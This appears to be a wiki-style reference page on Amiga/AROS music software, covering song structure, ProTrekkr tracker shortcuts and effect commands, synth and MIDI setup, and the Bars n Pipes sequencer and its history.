Those paying close attention may notice the instrument used here for the lead melody is the same as the one used for the bass line (#6 &quot;Square&quot;), except played two or three octaves higher. This instrument is a looped square wave sample. Each type of wave has its own quirks, but the square wave (shown below) is a really versatile wave form.

Song structure

Good, catchy songs are often carefully structured into sections, some of which are repeated throughout the song with small variations.

A typical pop-song structure is: Intro - Verse - Chorus - Verse - Chorus - Bridge - Chorus.

Other single sectional song structures are

&lt;pre&gt;
Strophic or AAA Song Form - oldest story telling with refrain (often title of the song) repeated in every verse section melody 
AABA Song Form - early popular, jazz and gospel fading during the 1960s 
AB or Verse/Chorus Song Form - songwriting format of choice for modern popular music since the 1960s 
Verse/Chorus/Bridge Song Form
ABAB Song Form
ABAC Song Form
ABCD Song Form
AAB 12-Bar Song Form - three four-bar lines or sub-sections 
8-Bar Song Form
16-Bar Song Form
Hybrid / Compound Song Forms
&lt;/pre&gt;

The most common building blocks are:

#INTRODUCTION(INTRO)
#VERSE
#REFRAIN
#PRE-CHORUS / RISE / CLIMB
#CHORUS
#BRIDGE
#MIDDLE EIGHT
#SOLO / INSTRUMENTAL BREAK
#COLLISION
#CODA / OUTRO
#AD LIB (OFTEN IN CODA / OUTRO)

The chorus usually has more energy than the verse and often has a memorable melody line. As the chorus is repeated the most often during the song, it will be the part that people will remember.

The bridge often marks a change of direction in the song. It is not uncommon to change keys in the bridge, or at least to use a different chord sequence. The bridge is used to build up tension towards the big finale, the last repetition of chorus.


 Playing

RCTRL:                           Play song from row 0.

LSHIFT + RCTRL:                  Play song from current row.

RALT:                            Play pattern from row 0.

LSHIFT + RALT:                   Play pattern from current row.

Left mouse on '&gt;':               Play song from row 0.

Right mouse on '&gt;':              Play song from current row.

Left mouse on '|&gt;':              Play pattern from row 0.

Right mouse on '|&gt;':             Play pattern from current row.

Left mouse on 'Edit/Record':     Edit mode on/off.

Right mouse on 'Edit/Record':    Record mode on/off.


 Editing 


LSHIFT + ESCAPE:                 Switch large patterns view on/off

TAB:                    Go to next track

LSHIFT + TAB:                    Go to prev. track

LCTRL + TAB:                    Go to next note in track

LCTRL + LSHIFT + TAB:           Go to prev. note in track

SPACE:                           Toggle Edit mode On &amp; Off

(Also stop if the song is being played)

SHIFT SPACE:                     Toggle Record mode On &amp; Off

(Wait for a key note to be pressed

or a midi in message to be received)

DOWN ARROW:                      1 Line down

UP ARROW:                        1 Line up

LEFT ARROW:                      1 Row left

RIGHT ARROW:                     1 Row right

PREV. PAGE:                      16 Arrows Up

NEXT PAGE:                       16 Arrows Down

HOME / END:                      Top left / Bottom right of pattern

LCTRL + HOME / END:              First / last track

F5, F6, F7, F8, F9:              Jump to 0, 1/4, 2/4, 3/4, 4/4 lines of the patterns

+ - (Numeric keypad):           Next / Previous pattern

LCTRL + LEFT / RIGHT:           Next / Previous pattern

LCTRL + LALT + LEFT / RIGHT:    Next / Previous position

LALT + LEFT / RIGHT:           Next / Previous instrument

LSHIFT + M:                      Toggle mute state of the current channel

LCTRL + LSHIFT + M:             Solo the current track / Unmute all

LSHIFT + F1 to F11:              Select a tab/panel

LCTRL + 1 to 4:                 Select a copy buffer


 Tracking 

1st and 2nd keys rows:           Upper octave row

3rd and 4th keys rows:           Lower octave row

RSHIFT:                          Insert a note off

/ and * (Numeric keypad)

or F1 F2:                        -1 or +1 octave

INSERT / BACKSPACE:              Insert or Delete a line in current track

or current selected block.

LSHIFT + INSERT / BACKSPACE:     Insert or Delete a line in current pattern

DELETE (NOT BACKSPACE):          Empty a column or a selected block.


 Blocks

(Blocks can also be selected with the mouse by holding the right button and scrolling the pattern with the mouse wheel).


LCTRL + A:          Select entire current track

LCTRL + LSHIFT + A: Select entire current pattern

LALT + A:          Select entire column note in a track

LALT + LSHIFT + A: Select all notes of a track

LCTRL + X:          Cut the selected block and copy it into the block-buffer

LCTRL + C:          Copy the selected block into the block-buffer

LCTRL + V:          Paste the data from the block buffer into the pattern

LCTRL + I:          Interpolate selected data from the first to the last row of a selection

LSHIFT + ARROWS

PREV. PAGE

NEXT PAGE: Select a block

LCTRL + R:          Randomize the select columns of a selection, works similar to CTRL + I (interpolating them)

LCTRL + U:          Transpose the note of a selection to 1 seminote higher

LCTRL + D:          Transpose the note of a selection to 1 seminote lower

LCTRL + LSHIFT + U: Transpose the note of a selection to 1 seminote higher (only for the current instrument)

LCTRL + LSHIFT + D: Transpose the note of a selection to 1 seminote lower  (only for the current instrument)

LCTRL + H:          Transpose the note of a selection to 1 octave higher

LCTRL + L:          Transpose the note of a selection to 1 octave lower

LCTRL + LSHIFT + H: Transpose the note of a selection to 1 octave higher (only for the current instrument)

LCTRL + LSHIFT + L: Transpose the note of a selection to 1 octave lower (only for the current instrument)

LCTRL + W:          Save the current selection into a file


 Misc 


LALT + ENTER:     Switch between full screen / windowed mode

LALT + F4:        Exit program (Windows only)

LCTRL + S:         Save current module

LSHIFT + S:         Switch top right panel to synths list

LSHIFT + I:         Switch top right panel to instruments list


&lt;pre&gt;
C-x   xh xx xx hhhh             Volume 
B-x   xh xx xx hhhh             Jump to 
A#x  xh xx xx hhhh hhhh   Slide 
F-x    xh xx xx hhhh            Tempo 
D-x   xh xx xx hhhh             Pattern Break 
G#x  xh xx xx hhhh
&lt;/pre&gt;

h Hex 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13

d Dec 01 02 03 04 05 06 07 08 09 10  11 12 13 14 15 16 17 18 19

The Set Volume command: C. Input a note, then move the cursor to the effects command column and type a C. Play the pattern, and you shouldn't be able to hear the note you placed the C by. This is because the effect parameters are 00. Change the two zeros to a 40(Hex)/64(Dec), depending on what your tracker uses. Play back the pattern again, and the note should come in at full volume.

The Position Jump command next. This is just a B followed by the position in the playing list that you want to jump to. One thing to remember is that the playing list always starts at 0, not 1. This command is usually in Hex.

Onto the volume slide command: A. This is slightly more complex (much more if you're using a newer tracker, if you want to achieve the results here, then set slides to Amiga, not linear), due to the fact it depends on the secondary tempo. For now set a secondary tempo of 06 (you can play around later), load a long or looped sample and input a note or two. A few rows after a note type in the effect command A. For the parameters use 0F. Play back the pattern, and you should notice that when the effect kicks in, the sample drops to a very low volume very quickly. Change the effect parameters to F0, and use a low volume command on the note. Play back the pattern, and when the slide kicks in the volume of the note should increase very quickly.
This because each part of the effect parameters for command A does a different thing. The first number slides the volume up, and the second slides it down. It's not recommended that you use both a volume up and volume down at the same time, due to the fact the tracker only looks for the first number that isn't set to 0. If you specify parameters of 8F, the tracker will see the 8, ignore the F, and slide the volume up. Using a slide up and down at same time just makes you look stupid. Don't do it...

The Set Tempo command: F, is pretty easy to understand. You simply specify the BPM (in Hex) that you want to change to. One important thing to note is that values of lower than 20 (Hex) sets the secondary tempo rather than the primary.

Another useful command is the Pattern Break: D. This will stop the playing of the current pattern and skip to the next one in the playing list. By using parameters of more than 00 you can also specify which line to begin playing from.

Command 3 is Portamento to Note. This slides the currently playing note to another note, at a specified speed. The slide then stops when it reaches the desired note. 
&lt;pre&gt;
   C-2 1 000 - Starts the note playing
   ---      000
   C-3    330 - Starts the slide to C-3 at a speed of 30.
   ---     300 - Continues the slide
   ---     300 - Continues the slide
&lt;/pre&gt;
Once the parameters have been set, the command can be input again without any parameters, and it'll still perform the same function unless you change the parameters. This memory function allows certain commands to function correctly, such as command 5, which is the Portamento to Note and Volume Slide command. Once command 3 has been set up command 5 will simply take the parameters from that and perform a Portamento to Note. Any parameters set up for command 5 itself simply perform a Volume Slide identical to command A at the same time as the Portamento to Note.

This memory function will only operate in the same channel where the original parameters were set up.
There are various other commands which perform two functions at once. They will be described as we come across them.

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  00

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  02

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  05

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  08

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  0A

C-3  04  ..  ..  09  00 ---&gt; C-3  04  ..  ..  09  0D

C-3  04  ..  ..  09  10 ---&gt; C-3  04  ..  ..  09  10

(You can also switch on the Slider Rec to On, and perform parameter-live-recording, such as cutoff transitions, resonance or panning tweaking, etc..)  Note: this command only works for volume/panning and fx datas columns.


The next command we'll look at is the Portamento up/down: 1 and 2. Command 1 slides the pitch up at a specified speed, and 2 slides it down. This command works in a similar way to the volume slide, in that it is dependent on the secondary tempo. Both these commands have a memory dependent on each other, if you set the slide to a speed of 3 with the 1 command, a 2 command with no parameters will use the speed of 3 from the 1 command, and vice versa.

Command 4 is Vibrato. Vibrato is basically rapid changes in pitch, just try it, and you'll see what I mean. Parameters are in the format of xy, where x is the speed of the slide, and y is the depth of the slide. One important point to remember is to keep your vibratos subtle and natural so a depth of 3 or less and a reasonably fast speed, around 8, is usually used. Setting the depth too high can make the part sound out of tune from the rest.
Following on from command 4 is command 6. This is the Vibrato and Volume Slide command, and it has a memory like command 5, which you already know how to use.

Command 7 is Tremolo. This is similar to vibrato. Rather than changing the pitch it slides the volume. The effect parameters are in exactly the same format.   vibrato effect (0x1dxy) x = speed y = depth (can't be used if arpeggio (0x1b) is turned on) 

&lt;pre&gt;
 C-7 00 .. .. 1B37 &lt;-  Turn Arpeggio effect on
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 1B38 &lt;- Change datas
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 0000
  --- .. .. .. 1B00 &lt;- Turn it off
&lt;/pre&gt;

Command 9 is Sample Offset. This starts the playback of the sample from a different place than the start. The effect parameters specify the sample offset, but only very roughly. Say you have a sample which is 8765(Hex) bytes long, and you wanted it to play from position 4321(Hex). The effect parameter could only be as accurate as the 43 part, and it would ignore the 21.

Command B is the Playing List/Order Jump command. The parameters specify the position in the Playing List/Order to jump to. When used in conjunction with command D you can specify the position and the line to play from.

Command E is pretty complex, as it is used for a lot of different things, depending on what the first parameter is. Let's take a trip through each effect in order.
Command E0 controls the hardware filter on an Amiga, which, as a low pass filter, cuts off the highest frequencies being played back. There are very few players and trackers on other system that simulate this function, not that you should need to use it. The second parameter, if set to 1, turns on the filter. If set to 0, the filter gets turned off.

Commands E1/E2 are Fine Portamento Up/Down. Exactly the same functions as commands 1/2, except that they only slide the pitch by a very small amount. These commands have a memory the same as 1/2 as well.

Command E3 sets the Glissando control. If parameters are set to 1 then when using command 3, any sliding will only use the notes in between the original note and the note being slid to. This produces a somewhat jumpier slide than usual. The best way to understand is to try it out for yourself. Produce a slow slide with command 3, listen to it, and then try using E31.

Command E4 is the Set Vibrato Waveform control. This command controls how the vibrato command slides the pitch. Parameters are 0 - Sine, 1 - Ramp Down (Saw), 2 - Square. By adding 4 to the parameters, the waveform will not be restarted when a new note is played e.g. 5 - Sine without restart.

Command E5 sets the Fine Tune of the instrument being played, but only for the particular note being played. It will override the default Fine Tune for the instrument. The parameters range from 0 to F, with 0 being -8 and F being +8 Fine Tune. A parameter of 8 gives no Fine Tune. If you're using a newer tracker that supports more than -8 to +8 e.g. -128 to +128, these parameters will give a rough Fine Tune, accurate to the nearest 16.

Command E6 is the Jump Loop command. You mark the beginning of the part of a pattern that you want to loop with E60, and then specify with E6x the end of the loop, where x is the number of times you want it to loop.

Command E7 is the Set Tremolo Waveform control. This has exactly the same parameters as command E4, except that it works for Tremolo rather than Vibrato.

Command E9 is for Retriggering the note quickly. The parameter specifies the interval between the retrigs. Use a value of less than the current secondary tempo, or else the note will not get retrigged.

Command EA/B are for Fine Volume Slide Up/Down. Much the same as the normal Volume Slides, except that these are easier to control since they don't depend on the secondary tempo. The parameters specify the amount to slide by e.g. if you have a sample playing at a volume of 08 (Hex) then the effect EA1 will slide this volume to 09 (Hex). A subsequent effect of EB4 would slide this volume down to 05 (Hex).

Command EC is the Note Cut. This sets the volume of the currently playing note to 0 at a specified tick. The parameters should be lower than the secondary tempo or else the effect won't work.

Command ED is the Note Delay. This should be used at the same time as a note is to be played, and the parameters will specify the number of ticks to delay playing the note. Again, keep the parameters lower than the secondary tempo, or the note won't get played!

Command EE is the Pattern Delay. This delays the pattern for the amount of time it would take to play a certain number of rows. The parameters specify how many rows to delay for.

Command EF is the Funk Repeat command. Set the sample loop to 0-1000. When EFx is used, the loop will be moved to 1000- 2000, then to 2000-3000 etc. After 9000-10000 the loop is set back to 0- 1000. The speed of the loop &quot;movement&quot; is defined by x. E is two times as slow as F, D is three times as slow as F etc. EF0 will turn the Funk Repeat off and reset the loop (to 0-1000).

effects 0x41 and 0x42 to control the volumes of the 2 303 units

There is a dedicated panel for synth parameter editing with coherent sections (osc, filter modulation, routing, so on) the interface is much nicer, much better to navigate with customizable colors, the reverb is now customizable (10 delay lines), It accepts newer types of Waves (higher bit rates, at least 24). Has a replay routine.

It's pretty much your basic VA synth. The problem isn't with the sampler being to high it's the synth is tuned two octaves too low, but if you want your samples tuned down just set the base note down 2 octaves (in the instrument panel).

so the synth is basically divided into 3 sections from left to right: oscillators/envelopes, then filter and LFO's, and in the right column you have mod routings and global settings.

for the oscillator section you have two normal oscillators (sine, saw, square, noise), the second of which is tunable, the first one tunes with the key pressed. Attached to OSC 1 is a sub-oscillator, which is a sawtooth wave tuned one octave down. The phase modulation controls the point in the duty cycle at which the oscillator starts. The ADSR envelope sliders (grouped with oscs) are for modulation envelope 1 and 2 respectively. you can use the synth as a sampler by choosing the instrument at the top.

In the filter column, the filter settings are: 1 = lowpass, 2 = highpass, 3 = off. cutoff and resonance. For the LFOs they are LFO 1 and LFO 2, the ADSR sliders in those are for the LFO itself.

For the modulation routings you have ENV 1, LFO 1 for the first slider and ENV 2, LFO 2 for the second, you can cycle through the individual routings there, and you can route each modulation source to multiple destinations of course, which is another big plus for this synth. Finally the glide time is for portamento and master volume, well, the master volume... it can go quite loud.

The sequencer is changed too, It's more like the one in AXS if you've used that, where you can mute tracks to re-use patterns with variation.


&lt;pre&gt;
Support for the following modules formats:
669 (Composer 669, Unis 669), 
AMF (DSMI Advanced Module Format), 
AMF (ASYLUM Music Format V1.0), 
APUN (APlayer), DSM (DSIK internal format), 
FAR (Farandole Composer), 
GDM (General DigiMusic), 
IT (Impulse Tracker), 
IMF (Imago Orpheus), 
MOD (15 and 31 instruments), 
MED (OctaMED), 
MTM (MultiTracker Module editor), 
OKT (Amiga Oktalyzer), 
S3M (Scream Tracker 3), 
STM (Scream Tracker), 
STX (Scream Tracker Music Interface Kit), 
ULT (UltraTracker), 
UNI (MikMod), 
XM (FastTracker 2),
Mid (midi format via timidity)
&lt;/pre&gt;


Possible plugin options include [http://lv2plug.in/ LV2],


====Midi - Musical Instrument Digital Interface====

A midi file typically contains music that plays on up to 16 channels (as per the midi standard), but many notes can simultaneously play on each channel (depending on the limit of the midi hardware playing it).

'''Timidity'''

Although usually already installed, you can uncompress the [http://www.libsdl.org/projects/SDL_mixer/ timidity.tar.gz (14MB)] into a suitable drawer like below's SYS:Extras/Audio/ 
 assign timidity: SYS:Extras/Audio/timidity
added to SYSːs/User-Startup

'''WildMidi playback'''


'''Audio Evolution 4 (2003) 4.0.23 (from 2012)'''


*Sync Menu    - CAMD Receive, Send checked 
*Options Menu - MIDI Machine Control - Midi Bar Display - Select CAMD MIDI in / out - Midi Remote Setup 


MCB Master Control Bus 
*Sending a MIDI start-command and a Song Position Pointer, you can synchronize audio with an external MIDI sequencer (like B&amp;P). 
*B&amp;P Receive, start AE, add AudioEvolution.ptool in Bars&amp;Pipes track, press play / record in AE then press play in Pipes 
*CAMD Receive, receive MIDI start or continue commands via camd.library sync to AE 


*MIDI Machine Control
*Midi Bar Display 
*Select CAMD MIDI in / out
*Midi Remote Setup - open requester for external MIDI controllers to control app mixer and transport controls cc remotely 
 Channel   - mixer(vol, pan, mute, solo), eq, aux, fx, 
 Subgroup  - Volume, Mute, Solo 
 Transport - Start, End, Play, Stop, Record, Rewind, Forward 
 Misc      - Master vol., Bank Down, Bank up 


&lt;pre&gt;
q        - quit 

First 3 already opened when AE started 
F1       - timeline window
F2       - mixer 
F3       - control 
F4       - subgroups 
F5       - aux returns 
F6       - sample list 

i        - Load sample to use 

space    - start/stop play 
b        - reset time 0:00


s        - split mode 
r        - open recording window 
a        - automation edit mode with p panning, m mute and v volume 


[ / ]    - zoom in / out 
:        - previous track
*        - next track 

x c v f  - cut copy paste cross-fade 
g        - snap grid 


&lt;/pre&gt;


 '''[http://bnp.hansfaust.de/ Bars n Pipes sequencer]'''

 BarsnPipes debug ... in shell 

Menu (right mouse)  
*Song        - Songs load and save in .song format but option here to load/save Midi_Files .mid in FORMAT0 or FORMAT1 
*Track       - 
*Edit        -
*Tool        - 
*Timing      - SMTPE Synchronizing 
*Windows     - 
*Preferences - Multiple MIDI-in option 

Windows (some of these are usually already opened when Bars n Pipes starts up for the first time) 
*Workflow -&gt; Tracks, .... Song Construction, Time-line Scoring, Media Madness, Mix Maestro, 
*Control  -&gt; Transport (or mini one), Windows (which collects all the Windows icons together-shortcut), .... Toolbox, Accessories, Metronome, 

Once you have your windows placed on the screen that suits your workflow, Song -&gt; Save as Default will save the positions, colors, icons, etc as you'd like them 

If you need a particular setup of Tracks, Tools, Tempos etc, you save them all as a new song you can load each time 

Right mouse menu -&gt; Preferences -&gt; Environment... -&gt; ScreenMode  - Linkages for Synch (to Slave) usbmidi.out.0 and Send (Master) usbmidi.in.0 - Clock MTC 


'''Tracks'''

#Double-click on B&amp;P's icon. B&amp;P will then open with an empty Song. You can also double-click on a song icon to open a song in B&amp;P.
#Choose a track. The B&amp;P screen will contain a Tracks Window with a number of tracks shown as pipelines (Track 1, Track 2, etc...). To choose a track, simply click on the gray box to show an arrow-icon to highlight it. This icon show whether a track is chosen or not. To the right of the arrow-icon, you can see the icon for the midi-input. If you double-click on this icon you can change the MIDI-in setup.
#Choose Record for the track. To the right of the MIDI-input channel icon you can see a pipe. This leads to another clickable icon with that shows either P, R or M. This stands for Play, Record or Merge. To change the icon, simply click on it. If you choose P, this track can only play the track (you can't record anything). If you choose R, you can record what you play and it overwrites old stuff in the track. If you choose M, you merge new records with old stuff in the track. Choose R now to be able to make a record.
#Chose MIDI-channel. On the most right part of the track you can see an icon with a number in it. This is the MIDI-channel selector. Here you must choose a MIDI-channel that is available on your synthesizer/keyboard. If you choose General MIDI channel 10, most synthesizer will play drum sounds. To the left of this icon is the MIDI-output icon. Double-click on this icon to change the MIDI-output configuration.
#Start recording. The next step is to start recording. You must then find the control buttons (they look like buttons on a CD-player). To be able to make a record. you must click on the R icon. You can simply now press the play button (after you have pressed the R button) and play something on you keyboard. To playback your composition, press the Play button on the control panel.
#Edit track. To edit a track, you simply double click in the middle part of a track. You will then get a new window containing the track, where you can change what you have recorded using tools provided. Take also a look in the drop-down menus for more features.


Videos to help understand [https://www.youtube.com/watch?v=A6gVTX-9900 small intro], [https://www.youtube.com/watch?v=abq_rUTiSA4&amp;t=3s Overview], [https://www.youtube.com/watch?v=ixOVutKsYQo Workplace Setup CC PC Sysex], [https://www.youtube.com/watch?v=dDnJLYPaZTs Import Song], [https://www.youtube.com/watch?v=BC3kkzPLkv4 Tempo Mapping], [https://www.youtube.com/watch?v=sd23kqMYPDs ptool Arpeggi-8], [https://www.youtube.com/watch?v=LDJq-YxgwQg  PlayMidi Song], [https://www.youtube.com/watch?v=DY9Pu5P9TaU Amiga Midi], [https://www.youtube.com/watch?v=abq_rUTiSA4 Learning Amiga bars and Pipes], 

Groups like [https://groups.io/g/barsnpipes/topics this] could help 


'''Tracks window'''

* blue &quot;1 2 3 4 5 6 7 8 Group&quot; and transport tape deck VCR-type controls
* Flags 
* [http://theproblem.alco-rhythm.com/org/bp.html Track 1, Track2, to Track 16, on each Track there are many options that can be activated] 

Each Track has a 

*Left LHS  - Click in grey box to select what Track to work on, Midi-In ptool icon should be here (5pin plug icon), and many more from the Toolbox on the Input Pipeline 
*Middle    - (P, R, M) Play, Record, Merge/Multi before the sequencer line and a blue/red/yellow (Thru Mute Play) Tap 
*Right RHS - Output pipeline, can have icons placed uopn it with the final ptool icon(s) being the 5pin icon symbol for Midi-OUT 

Clogged pipelines may need Esc pressed several times 


'''Toolbox (tools affect the chosen pipeline)'''

After opening the Toolbox window you can add extra Tools (.ptool) for the pipelines like keyboard(virtual), midimonitor, quick patch, transpose, triad, (un)quantize, feedback in/out, velocity etc
 right mouse -&gt; Toolbox menu option -&gt; Install Tool... and navigate to Tool drawer (folder) and select requried .ptool 

Accompany B tool to get some sort of rythmic accompaniment, Rythm Section and Groove Quantize are examples of other tools that make use of rythms
[https://aminet.net/search?query=bars Bars &amp; Pipes pattern format .ptrn] for drawer (folder). Load from the Menu as Track or Group 


'''Accessories (affect the whole app)''' 

Accessories -&gt; Install... and goto the Accessories drawer for .paccess like adding ARexx scripting support 


'''Song Construction'''
&lt;pre&gt;
F1  Pencil
F2  Magic Wand
F3  Hand 
F4  Duplicator 
F5  Eraser 
F6  Toolpad 
F7  Bounding box 
F8  Lock to A-B-A 

A-B-A strip, section, edit flags, white boxes, 

&lt;/pre&gt;


Bars&amp;Pipes Professional offers three track formats; basic song tracks, linear tracks — which don't loop — and finally real‑time tracks. The difference between them is that both song and linear tracks respond to tempo changes, while real‑time tracks use absolute timing, always trigger at the same instant regardless of tempo alterations 

'''Tempo Map'''

F1  Pencil
F2  Magic Wand
F3  Hand 
F4  Eraser 
F5  Curve 
F6  Toolpad 


Compositions

Lyrics, Key, Rhythm, Time Signature 

'''Master Parameters'''

Key, Scale/Mode

'''Track Parameters'''

Dynamics 


'''Time-line Scoring'''


'''Media Madness'''


'''Mix Maestro'''


*ACCESSORIES         Allows the importation of other packages and additional modules 
*CLIPBOARD           Full cut, copy and paste operations, enabling user‑definable clips to be shared between tracks.
*INFORMATION         A complete rundown on the state of the current production and your machine.
*MASTER PARAMETERS   Enables global definition of time signatures, lyrics, scales, chords, dynamics and rhythm changes.
*MEDIA MADNESS       A complete multimedia sequencer which allows samples, stills, animation, etc 
*METRONOME           Tempo feedback via MIDI, internal Amiga audio and colour cycling — all three can be mixed and matched as required.
*MIX MAESTRO         Completely automated mixdown with control for both volume and pan. All fader alterations are memorised by the software 
*RECORD ACTIVATION   Complete specification of the data to be recorded/merged. Allows overdubbing of pitch‑bend, program changes, modulation etc
*SET FLAGS           Numeric positioning of location and edit flags in either SMPTE or musical time 
*SONG CONSTRUCTION   Large‑scale cut and paste of individual measures, verses or chorus, by means of bounding box and drag‑n‑drop mouse selections
*TEMPO MAP           Tempo change using a variety of linear and non‑linear transition curves 
*TEMPO PALETTE       Instant tempo changes courtesy of four user‑definable settings.
*TIMELINE SCORING    Sequencing of a selection of songs over a defined period — ideal for planning an entire set for a live performance.
*TOOLBOX             Selection screen for the hundreds of signal‑processing tools available 
*TRACKS              Opens the main track window to enable recording, editing and the use of tools.
*TRANSPORT           Main playback control window, which also provides access to user‑ defined flags, loop and punch‑in record modes.


Bars and Pipes Pro 2.5 is using internal 4-Byte IDs, to check which kind of data are currently processed.
Especially in all its files the IDs play an important role. The IDs are stored into the file in the same order they are laid out in the memory.

In a Bars 'N' Pipes file (no matter which kind) the ID &quot;NAME&quot; (saved as its ANSI-values) is stored on a big endian system (68k-computer) as &quot;NAME&quot;. On a little endian system (x86 PC computer) as &quot;EMAN&quot;.  The target is to make the AROS-BnP compatible to songs, which were stored on a 68k computer (AMIGA).

If possible, setting MIDI channels for Local Control for your keyboard 

http://www.fromwithin.com/liquidmidi/archive.shtml


MIDI files are essentially a stream of event data. An event can be many things, but typically &quot;note on&quot;, &quot;note off&quot;, &quot;program change&quot;, &quot;controller change&quot;, or messages that instruct a MIDI compatible synth how to play a given bit of music.

* Channel     - 1 to 16 -
* Messages    - PC presets, CC effects like delays, reverbs,  etc 
* Sequencing  - MIDI instruments, Drums, Sound design, 
* Recording   - 
* GUI         - Piano roll or Tracker, Staves and Notes 

MIDI events/messages like step entry e.g. Note On, Note Off 

MIDI events/messages like PB, PC, CC, Mono and Poly After-Touch, Sysex, etc 

MIDI sync - Midi Clocks (SPS Measures), Midi Time Code (h, m, s and frames) SMPTE 

Individual track editing with audition edits so easier to test any changes. Possible to stop track playback, mix clips from the right edit flag and scroll the display using arrow keys. 

Step entry, to extend a selected note hit the space bar and the note grows accordingly. Ability to cancel mouse‑driven edits by simply clicking the right mouse button — at which point everything snaps back into its original form. Lyrics can now be put in with syllable dividers, even across an entire measure or section. Autoranging when you open a edit window, the notes are automatically displayed — working from the lowest upwards. 

Flag editing, shift‑click on a flag immediately open the bounds window, ready for numeric input. Ability to cancel edits using the right‑hand mouse button, plus much improved Bounding Box operations.

Icons other than the BarsnPipes icon -&gt; PUBSCREEN=BarsnPipes (cannot choose modes higher than 8bit 256 colors)

Preferences -&gt; Menu in Tracks window - Send MIDI defaults OFF 

Prefs -&gt; Environment -&gt; screenmode (saved to BarsnPipes.prefs binary file) 

Customization -&gt; pics in gui drawer (folder) - 


Can save as .song files and .mid General Midi 

SMF is a “Standard Midi File”  ([http://www.music.mcgill.ca/~ich/classes/mumt306/StandardMIDIfileformat.html SMF0, SMF1 and SMF2]), [https://github.com/stump/libsmf libsmf], [https://github.com/markc/midicomp MIDIcomp], [https://github.com/MajicDesigns/MD_MIDIFile C++ src], [], [https://github.com/newdigate/midi-smf-reader Midi player], 

* SMF0        All MIDI data is stored in one track only, separated exclusively by the MIDI channel.
* SMF1        The MIDI data is stored in separate tracks/channels.
* SMF2 (rarely used) The MIDI data is stored in separate tracks, which are additionally wrapped in containers, so it's possible to have e.g. several tracks using the same MIDI channels.


Would it be possible to enrich Bars N’Pipes with software synth and sample support along with audio recording and mastering tools like in the named MAC or PC music sequencers?
On the classic AMIGA-OS this is not possible because of missing CPU-power. The hardware of the classic AMIGA is not further developed. So we must say (unfortunately) that those dreams can’t become reality

BarsnPipes is best used with external MIDI-equipment. This can be a keyboard or synthesizer with MIDI-connectors. 

&lt;pre&gt;
MIDI can control 16 channels 
There are USB-MIDI-Interfaces on the market with 16 independent MIDI-lines (multi-port), which can handle 16 MIDI devices independently – 16×16 = 256 independent MIDI-channels or instruments 
handle up to 16 different USB-MIDI-Interfaces (multi-device). That is: 16X16X16 = 4096 independent MIDI-channels – theoretically 
&lt;/pre&gt;

&lt;pre&gt;
Librarian MIDI SYStem EXplorer (sysex) - PatchEditor and used to be supplied as a separate program like PatchMeister but currently not at present 
It should support MIDI.library (PD), BlueRibbon.library (B&amp;P), TriplePlayPlus, and CAMD.library (DeluxeMusic) and 
MIDI information from a device's user manual and configure a custom interface to access parameters for all MIDI products connected to the system 
Supports ALL MIDI events and the Patch/Librarian data is stored in MIDI standard format 
Annette M.Crowling, Missing Link Software, Inc.
&lt;/pre&gt;


Composers
&lt;pre&gt;
[https://x.com/hirasawa/status/1403686519899054086 Susumu Hirasawa] 

&lt;/pre&gt;


&lt;pre&gt;
1988 Todor Fay and his wife Melissa Jordan Gray, who founded the Blue Ribbon Inc
1992 Bars&amp;Pipes Pro published 
November 2000, Todor Fay announcement to release the sourcecode of Bars&amp;Pipes Pro 2.5c beta
end of May 2001, the source of the main program and the sources of some tools and accessories were in a complete and compileable state 
end of October 2009 stop further development of BarsnPipes New for now on all supported systems and made freeware 
2013 Alfred Faust diagnosed with incureable illness, called „Myastenia gravis“ (weak muscles) 
&lt;/pre&gt;


 Protrekkr

How to use Midi In/Out in Protrekkr ?

First of all, midi in &amp; out capabilities of this program are rather limited.

# Go to Misc. Setup section and select a midi in or out device to use (ptk only supports one device at a time).
# Go to instrument section, and select a MIDI PRG (the default is N/A, which means no midi program selected).
# Go to track section and here you can assign a midi channel to each track of ptk.
# Play notes :]. Note off works. F'x' note cut command also works too, and note-volume command (speed) is supported.

Also, you can change midicontrollers in the tracker, using '90' in the panning row:

&lt;pre&gt;
    C-3 02 .. .. 0000....


    --- .. .. 90 xxyy.... &lt;&lt; This will set the value 
    --- .. .. .. 0000....    of the controller n.'xx' to 'yy' (both in hex)
    --- .. .. .. 0000....
&lt;/pre&gt;

So &quot;--- .. .. 90 2040....&quot; will set the controller number $20(32) to $40(64).

You will need the midi implementation table of your gear to know what you can change with midi controller messages.

 N.B. Not all MIDI devices are created equal!

Although the MIDI specification defines a large range of MIDI messages of various kinds, not every MIDI device is required to work in exactly the same way and respond to all the available messages and ways of working. For example, we don't expect a wind synthesiser to work in the same way as a home keyboard.

Some devices, the older ones perhaps, are only able to respond to a single channel. With some of those devices that channel can be altered from the default of 1 (probably) to another channel of the 16 possible.

Other devices, for instance monophonic synthesisers, are capable of producing just one note at a time, on one MIDI channel. Others can produce many notes spread across many channels.

Further devices can respond to, and transmit, &quot;breath controller&quot; data (MIDI controller number 2 (CC#2)) others may respond to the reception of CC#2 but not be able to create and to send it.

A controller keyboard may be capable of sending &quot;expression pedal&quot; data, but another device may not be capable of responding to that message.

Some devices just have the basic GM sound set. The &quot;voice&quot; or &quot;instrument&quot; is selected using a &quot;Program Change&quot; message on its own.

Other devices have a greater selection of voices, usually arranged in &quot;banks&quot;, and the choice of instrument is made by responding to &quot;Bank Select MSB&quot; (MIDI controller 0 (CC#0)), others use &quot;Bank Select LSB&quot; (MIDI controller number 32 (CC#32)), yet others use both MSB and LSB sent one after the other, all followed by the Program Change message. The detailed information about all the different voices will usually be available in a published MIDI Data List.


 MIDI Implementation Chart

But in the User Manual there is sometimes a summary of how the device works, in terms of MIDI, in the chart at the back of the manual, the MIDI Implementation Chart.

If you require two devices to work together you can compare the two implementation charts to see if they are &quot;compatible&quot;. In order to do this we will need to interpret that chart.

The chart is divided into four columns headed &quot;Function&quot;, &quot;Transmitted&quot; (or &quot;Tx&quot;), &quot;Received&quot; (or &quot;Rx&quot;), or more correctly &quot;Recognised&quot;, and finally, &quot;Remarks&quot;.

&lt;pre&gt;
